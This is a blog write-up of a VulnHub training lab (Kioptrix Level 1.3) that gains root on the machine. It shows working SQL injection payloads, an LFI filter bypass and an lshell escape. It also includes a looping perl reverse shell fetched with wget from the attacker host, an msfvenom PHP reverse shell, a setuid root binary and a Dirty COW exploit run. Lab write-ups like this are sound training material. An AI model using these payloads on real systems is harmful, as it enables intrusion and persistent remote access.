seekorswim My Security Blog

Kioptrix: Level 1.3 (#4)

VulnHub URL: https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
Hostname: Kioptrix4
IP Address: 10.183.0.216


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.216.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/kioptrix4# nmap -Pn -sT -sV -A --script=default,banner -oA kioptrix4 -p- 10.183.0.216
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 14:18 CDT
Nmap scan report for 10.183.0.216   
Host is up (0.0012s latency).
Not shown: 39528 closed ports, 26003 filtered ports
PORT    STATE SERVICE     VERSION   
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
| ssh-hostkey:
|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:B5:6F:61 (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/13%OT=22%CT=1%CU=34051%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=5CD9C360%P=x86_64-pc-linux-gnu)SEQ(SP=C4%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%T
OS:S=7)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O5=
OS:M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=1
OS:6A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2h59m57s, deviation: 2h49m42s, median: -4h59m57s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2019-05-13T10:19:48-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported   
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   1.15 ms 10.183.0.216

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.54 seconds


Gaining Access


Checking on the software detected by nmap...
  • OpenSSH_4.7p1 - no relevant issues
  • Apache/2.2.8 - no relevant issues
  • PHP/5.2.4-2 - no relevant issues
  • Samba 3.0.28a - no relevant issues

We don't have any known vulnerabilities to exploit in the software we've detected so far. Time to start digging into the HTTP service on TCP port 80.

The default site for the HTTP service contains a login form.



Trying some basic SQL injection in the username and password field...

%' or 1=1 #

...I get the following error page.

http://10.183.0.216/member.php?username=%\%27%20or%201=1#



The SQL injection seems to work, but the login page doesn't know which profile to load for me. Let's see if we can use sqlmap to mine out data from the backend database.

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogin.php" -v3 --dbms=mysql --time-sec=1 --dbs
[...snip...]
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 334 HTTP(s) requests:
---
Parameter: mypassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: myusername=test&mypassword=-8288' OR 1981=1981#&Submit=Login
    Vector: OR [INFERENCE]#
---
[14:35:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL Unknown
[...snip...]
available databases [3]:
[*] information_schema
[*] members
[*] mysql
[...snip...]

The SQL injection vulnerability detected is a hard one to handle manually, so we'll continue to rely on sqlmap to make all the requests for us. We already had sqlmap return the list of databases available. We'll continue to mine out information from the members database.

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogin.php" -v3 --dbms=mysql --time-sec=1 -D members --tables
[...snip...]
Database: members
[1 table]
+---------+
| members |
+---------+
[...snip...]

Only one table to look into. Let's see what columns we have.

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogin.php" -v3 --dbms=mysql --time-sec=1 -D members -T members --columns
[...snip...]
Database: members
Table: members
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(4)      |
| password | varchar(65) |
| username | varchar(65) |
+----------+-------------+
[...snip...]

OK. I'll pull all the data from the members table.

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogin.php" -v3 --dbms=mysql --time-sec=1 -D members -T members -C id,username,password --dump
[...snip...]
Database: members
Table: members
[2 entries]
+----+----------+-----------------------+
| id | username | password              |
+----+----------+-----------------------+
| 1  | john     | MyNameIsJohn          |
| 2  | robert   | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
[...snip...]

Looks like john's password is plain text and robert's is base64 encoded (?). Or is it. The string doesn't decode, so maybe that is just the "plain text" password.

Trying both these usernames for the web login only results in a page displaying each user's username and password.

Before moving on, I'll run dirb to make sure there aren't any other directories on the server we might be missing.

root@kali:~/Walkthroughs/kioptrix4# dirb http://10.183.0.216 /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.216.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb-http-10.183.0.216.txt
START_TIME: Mon May 13 15:32:48 2019
URL_BASE: http://10.183.0.216/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://10.183.0.216/ ----
+ http://10.183.0.216/cgi-bin/ (CODE:403|SIZE:327)                                                                                                   
==> DIRECTORY: http://10.183.0.216/images/                                                                                                           
+ http://10.183.0.216/index (CODE:200|SIZE:1255)                                                                                                     
==> DIRECTORY: http://10.183.0.216/john/                                                                                                             
+ http://10.183.0.216/logout (CODE:302|SIZE:0)                                                                                                       
+ http://10.183.0.216/member (CODE:302|SIZE:220)                                                                                                     
==> DIRECTORY: http://10.183.0.216/robert/                                                                                                           
+ http://10.183.0.216/server-status (CODE:403|SIZE:332)                                                                                              
                                                                                                                                                     
---- Entering directory: http://10.183.0.216/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                     
---- Entering directory: http://10.183.0.216/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                     
---- Entering directory: http://10.183.0.216/robert/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Mon May 13 15:33:16 2019  
DOWNLOADED: 20458 - FOUND: 5

Interesting. We found listable directories for our robert and john accounts. The PHP pages in their directories are the same as the ones displayed by the member.php page. This makes me wonder if the member.php page might be vulnerable to local file inclusion (LFI) attacks. The page would be taking the username parameter in the URL and building some kind of path that includes "$username/$username.php" (based on what we can tell). We might be able to use a null character in the query string to prevent the concatenation, and just request a specific file.

Trying to request http://10.183.0.216/member.php?username=/etc/passwd%00, we got the following helpful error message.


Looks like 'etc' was removed from my request. I'll try /var/log/messages...


Interesting. Looks like it tried to load the log file (without messing with the path), but didn't have permission. Let's see if we can request /etc/etc/passwd.


TIP: To view the file in a 'text friendly' format, use the "View Source" feature of the web browser.

Bingo! Looks like whatever "filters" were in place were only removing the first instance of /etc.

Looking at the list of users on the system, we can see that john and robert both have accounts. Maybe they are using the same passwords locally as we found in the database.

Trying to SSH with john's account...

root@kali:~/Walkthroughs/kioptrix4# ssh john@10.183.0.216
john@10.183.0.216's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$

Trying to SSH with robert's account...

root@kali:~/Walkthroughs/kioptrix4# ssh robert@10.183.0.216
robert@10.183.0.216's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$

Looks like the passwords work for both accounts. I tried to run 'sudo -l' from both, but it failed for both. 

john:~$ sudo -l
*** forbidden sudo -> sudo -l

robert:~$ sudo -l
*** forbidden sudo -> sudo -l

I tried to check the $PATH variable and got the following message.

robert:~$ echo $PATH
*** forbidden path -> "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.

Running the suggest 'help' command, we see the only commands available to us.

robert:~$ help
cd  clear  echo  exit  help  ll  lpath  ls

We seem to be in some type of "jail" shell. Doing some googling, it looks like we can break out of jail using the following command.

From https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ and https://www.aldeid.com/wiki/Lshell#Bypassing_lshell_with_os.system

echo os.system('/bin/bash')

Let's give it a try with john's account.

root@kali:~/Walkthroughs/kioptrix4# ssh john@10.183.0.216
john@10.183.0.216's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

Well, that was easy. Let's see if john can do anything special.

john@Kioptrix4:~$ sudo -l
[sudo] password for john:
Sorry, user john may not run sudo on Kioptrix4.

Nope! How about robert's account...

root@kali:~/Walkthroughs/kioptrix4# ssh robert@10.183.0.216
robert@10.183.0.216's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$ echo os.system('/bin/bash')
robert@Kioptrix4:~$ id
uid=1002(robert) gid=1002(robert) groups=1002(robert)
robert@Kioptrix4:~$ sudo -l
[sudo] password for robert:
Sorry, user robert may not run sudo on Kioptrix4.

Nope! But at least we have a shell.

We'll proceed under john's unprivileged account.


Maintaining Access


This applies to the www-data user. See Additional Info below for gaining a shell as the www-data user...

Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.

www-data@Kioptrix4:/var/www$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/sh

The home directory exists, but only allows writes by root.

drwxr-xr-x  5 root root  4096 May 13 12:27 www

Since we won't be able to set up SSH keys, I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/kioptrix4# cat session.www-data
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/kioptrix4# python -m SimpleHTTPServer 432
Serving HTTP on 0.0.0.0 port 432 ...
10.183.0.216 - - [13/May/2019 16:51:25] "GET /session.www-data HTTP/1.0" 200 -

I uploaded the script to the victim's /tmp directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

www-data@Kioptrix4:/var/www$ cd /tmp
www-data@Kioptrix4:/tmp$ wget -O session.www-data 10.183.0.222:432/session.www-data
--12:51:28--  http://10.183.0.222:432/session.www-data
           => `session.www-data'
Connecting to 10.183.0.222:432... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [application/octet-stream]

    0K                                                       100%   64.16 MB/s

12:51:28 (64.16 MB/s) - `session.www-data' saved [308/308]

www-data@Kioptrix4:/tmp$ chmod +x session.www-data
www-data@Kioptrix4:/tmp$ ./session.www-data &
[1] 5605


Privilege Escalation


Strangely, the /root directory allows anyone to access it...

drwxr-xr-x  4 root root  4096 Feb  6  2012 root

...as well as the congrats.txt file...

john@Kioptrix4:/root$ cat congrats.txt
cat congrats.txt
Congratulations!
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret

The root directory also contains a lshell-0.9.12 directory. Checking the exploit database, we have a known remote code execution issue with LShell.

LShell 0.9.15 - Remote Code Execution                                                                        | exploits/linux/remote/39632.py

Looking through the exploit code, it essentially uses python to SSH to the machine and then run "echo os.system('/bin/bash')"... like we did earlier.


So... even though we seem to have what we wanted from /root, we don't have root. I'll keep working to gain root access to the box.

I was able to find credentials for the MySQL service in the checklogin.php page under /var/www.

john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
[...snip...]

The mysqld service is running as root...

john@Kioptrix4:/var/www$ ps aux | grep -i mysql
root      4544  0.0  0.1   1772   528 ?        S    10:16   0:00 /bin/sh /usr/bin/mysqld_safe
root      4586  0.0  3.3 127092 17388 ?        Sl   10:16   0:07 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock

...so we'll try to use MySQL to elevate privileges.

Checking the /usr/lib directory, we see that the LIB_MYSQLUDF_SYS library is available.

john@Kioptrix4:/usr/lib$ ls | grep -i mysql
lib_mysqludf_sys.so
[...snip...]

This library will allow us to execute system commands from within MySQL using the 'sys_exec' function. Being able to get root when you can execute commands as root is pretty easy. There are lots of ways we can do it. To get a fully elevated shell, we'll create a 'getroot' program using the following C code

#include <unistd.h>

main( int argc, char ** argv, char ** envp )
{
    setgid(0);
    setuid(0);
    system("/bin/bash", argv, envp);
    return 0;
}

Our victim doesn't have tools to compile code, so we'll have to cross-compile it on our attacking machine and transfer it to the victim. Then, we can run sys_exec to have root take ownership of it and set the "sticky bit".

root@kali:~/Walkthroughs/kioptrix4# gcc -m32 -o getroot getroot.c
getroot.c:3:1: warning: return type defaults to 'int' [-Wimplicit-int]
main( int argc, char ** argv, char ** envp )
^~~~
getroot.c: In function 'main':
getroot.c:7:5: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
     system("/bin/bash", argv, envp);
     ^~~~~~

Now, I'll transfer it to the victim (using python's SimpleHTTPServer) and change its owner and permissions (using mysql + sys_exec).

john@Kioptrix4:/$ cd /tmp
john@Kioptrix4:/tmp$ wget -O getroot 10.183.0.222:432/getroot
--17:37:47--  http://10.183.0.222:432/getroot
           => `getroot'
Connecting to 10.183.0.222:432... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15,520 (15K) [application/octet-stream]

100%[====================================>] 15,520        --.--K/s

17:37:47 (4.89 MB/s) - `getroot' saved [15520/15520]

john@Kioptrix4:/tmp$ mysql -u root -p
Enter password:

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1383
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select sys_exec('chown root:root /tmp/getroot; chmod 4755 /tmp/getroot');
<wn root:root /tmp/getroot; chmod 4755 /tmp/getroot');                       
+-------------------------------------------------------------------+
| sys_exec('chown root:root /tmp/getroot; chmod 4755 /tmp/getroot') |
+-------------------------------------------------------------------+
| NULL                                                              |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

Now, if we check the permissions on our 'getroot' program...

john@Kioptrix4:/tmp$ ls -l
total 40
-rwsr-xr-x 1 root     root     15520 May 13  2019 getroot
[...snip...]

Looks like we are good to go...

john@Kioptrix4:/tmp$ ./getroot
root@Kioptrix4:/tmp# id
uid=0(root) gid=0(root) groups=33(www-data)

Finally! We have root.


Pivoting

N/A

Clean Up


*** STOP /tmp/session.www-data ***
*** REMOVE /tmp/session.www-data ***
*** REMOVE /var/www/rev.php ***
*** REMOVE /tmp/getroot ***


Additional Info


sqlmap shell

Revisiting the SQL injection issue, I wanted to see if I could use it to gain a remote shell.

Trying the following sqlmap command...

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogi
n.php" -v3 --dbms=mysql --time-sec=1 --os-shell
[...snip...]
[15:51:34] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://10.183.0.216:80/tmpuylbb.php
[...snip...]
[15:51:48] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://10.183.0.216:80/tmpboflq.php
[15:51:48] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

We have a shell with the 'www-data' user! 😄 Another nice thing is sqlmap created a file uploader for us.

http://10.183.0.216/tmpuylbb.php


Now we can create our PHP reverse shell using msfvenom and upload it.

root@kali:~/Walkthroughs/kioptrix4# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3012 bytes

I'll start my PHP reverse shell listener and regular reverse shell listener in Metasploit.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

OK. So the upload process is going to be multi-step since the regular www-data user can't write to /var/www. We have to first use the sqlmap file uploader to create an upload file "stub" with the proper permissions (but will have zero length). Then we can use the file upload interface to overwrite that file with the "content".

root@kali:~/Walkthroughs/kioptrix4# sqlmap --har=sqlmap.log --data="myusername=test&mypassword=test&Submit=Login" --url="http://10.183.0.216/checklogin.php" -v3 --dbms=mysql --time-sec=1 --file-dest="/var/www/rev.php" --file-write="rev.php"

This will say that it failed to upload the file, but if we use our sqlmap shell, we can see it created an empty file with writable permissions.

os-shell> ls -laF
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
[...snip...]
-rw-rw-rw-  1 root root    0 May 13 12:23 rev.php
[...snip...]

Now, if we upload the same file using the web file upload, we get the following message.


And if we check the file again using the sqlmap shell...

os-shell> ls -laF
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
[...snip...]
-rw-rw-rw-  1 root root 3012 May 13 12:27 rev.php
[...snip...]

Now we should be able to browse to our reverse shell page and have it connect back to our Metasploit listener.

Or not... our script didn't connect back to us. The victim might have egress filtering enabled. We'll try to change the reverse shell connection port to something common (like TCP port 443). That means recreating our reverse shell code with msfvenom and reuploading it... and restarting Metasploit listeners...

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:443 -> 10.183.0.216:60426) at 2019-05-13 16:40:10 -0500

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/var/www
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

...but it worked! 😄

Now let's see if we can figure out what firewall rules are in place, so we can pick an alternate port for our regular reverse shell.

cat /etc/iptables.rules
# Generated by iptables-save v1.3.8 on Mon Feb  6 20:00:52 2012
*filter
:INPUT ACCEPT [6150:1120650]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [969:93214]
-A INPUT -p tcp -m tcp --dport 4444 -j DROP
-A INPUT -p tcp -m tcp --dport 1337:6000 -j DROP
-A INPUT -p tcp -m tcp --dport 10000:31337 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
-A OUTPUT -p tcp -m tcp --dport 4444 -j DROP
-A OUTPUT -p tcp -m tcp --dport 1337:6000 -j DROP
-A OUTPUT -p tcp -m tcp --dport 10000:31337 -j DROP
-A OUTPUT -p tcp -m tcp --dport 8080 -j DROP
-A OUTPUT -p tcp -m tcp --dport 80 -j DROP
-A OUTPUT -p tcp -m tcp --dport 21 -j DROP
COMMIT
# Completed on Mon Feb  6 20:00:52 2012

Looks like we have lots of options, just not in the range we happened to be working in. We'll select 444 for our regular reverse shell. We'll restart a listener on TCP port 444 and then run our perl reverse shell command.

perl -e 'use Socket;$i="10.183.0.222";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[*] Command shell session 2 opened (10.183.0.222:444 -> 10.183.0.216:46416) at 2019-05-13 16:44:37 -0500

Great! Now we have a stable reverse shell as the www-data user.


Kernel Exploits

The version of kernel in use has several possible local privilege escalation exploits. I pulled several from the exploit database...

Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                        | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                         | exploits/linux/local/40812.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd M | exploits/linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID M | exploits/linux/local/40616.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                                         | exploits/linux/local/33523.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                         | exploits/linux/local/17787.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                     | exploits/linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                       | exploits/linux_x86-64/local/15023.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                  | exploits/linux/local/15774.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege  | exploits/linux/local/45516.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation                           | exploits/linux/local/8673.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                                 | exploits/linux/local/33322.c
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                             | exploits/linux/local/30604.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)                | exploits/linux/local/25202.c

As well as from running the "Linux_Exploit_Suggester.pl".

root@kali:~/Walkthroughs/kioptrix4# perl /usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k '2.6.24'

Kernel local: 2.6.24

Possible Exploits:
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] pipe.c_32bit
   CVE-2009-3547
   Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] can_bcm
   CVE-2010-2959
   Source: http://www.exploit-db.com/exploits/14814/
[+] vmsplice2
   Alt: diane_lane    CVE-2008-0600
   Source: http://www.exploit-db.com/exploits/5093
[+] reiserfs
   CVE-2010-1146
   Source: http://www.exploit-db.com/exploits/12130/
[+] sock_sendpage
   Alt: wunderbar_emporium    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9435
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] sock_sendpage2
   Alt: proto_ops    CVE-2009-2692  
   Source: http://www.exploit-db.com/exploits/9436
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] do_pages_move
   Alt: sieve    CVE-2010-0415
   Source: Spenders Enlightenment   
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/
[+] vmsplice1
   Alt: jessica biel    CVE-2008-0600
   Source: http://www.expliot-db.com/exploits/5092

I compiled several locally and transferred them all over to the victim. Running each, I was only able to get one to elevate our privileges.

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd M | exploits/linux/local/40839.c

This is an infamous exploit that works on a wide range of kernels. It replaces the root account in /etc/passwd with an attacker controlled account ('firefart' by default). Once you are able to login with the attacker controlled account, you can restore the original passwd file (saved in /tmp).

I copied the source file to my working directory and compiled it with the options specified in the file.

root@kali:~/Walkthroughs/kioptrix4# cp /usr/share/exploitdb/exploits/linux/local/40839.c .
root@kali:~/Walkthroughs/kioptrix4# gcc -m32 -o 40839 40839.c -lpthread -lcrypt

Running the exploit on the victim looks like this.

root@kali:~/Walkthroughs/kioptrix4# ssh john@10.183.0.216
john@10.183.0.216's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ cd /tmp
john@Kioptrix4:/tmp$ wget -O 40839 10.183.0.222:432/40839
--06:52:49--  http://10.183.0.222:432/40839
           => `40839'
Connecting to 10.183.0.222:432... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,696 (16K) [application/octet-stream]

100%[==========================================================================================================>] 16,696        --.--K/s             

06:52:49 (15.26 MB/s) - `40839' saved [16696/16696]

john@Kioptrix4:/tmp$ chmod +x 40839
john@Kioptrix4:/tmp$ ./40839
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiKBbJoc.sTuE:0:0:pwned:/root:/bin/bash

mmap: b7f58000

john@Kioptrix4:/tmp$ head /etc/passwd
firefart:fiKBbJoc.sTuE:0:0:pwned:/root:/bin/bash
[...snip...]
john@Kioptrix4:/tmp$ su - firefart
Password:
firefart@Kioptrix4:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Kioptrix4:~# mv /tmp/passwd.bak /etc/passwd
firefart@Kioptrix4:~# head /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...snip...]
firefart@Kioptrix4:~# id
uid=0(root) gid=0(root) groups=0(root)

Walking through what's happening here, I...
  • logged in as john
  • escaped the restricted shell
  • moved to /tmp
  • downloaded the exploit
  • made the exploit executable
  • ran the exploit (setting a password for the 'firefart' account)
  • used Ctrl+C to stop the exploit
  • checked to make sure my new 'firefart' account was in /etc/passwd
  • verified I had uid/gid 0 (root)
  • restored the original /etc/passwd file (backed up at /tmp/passwd.bak by the exploit)
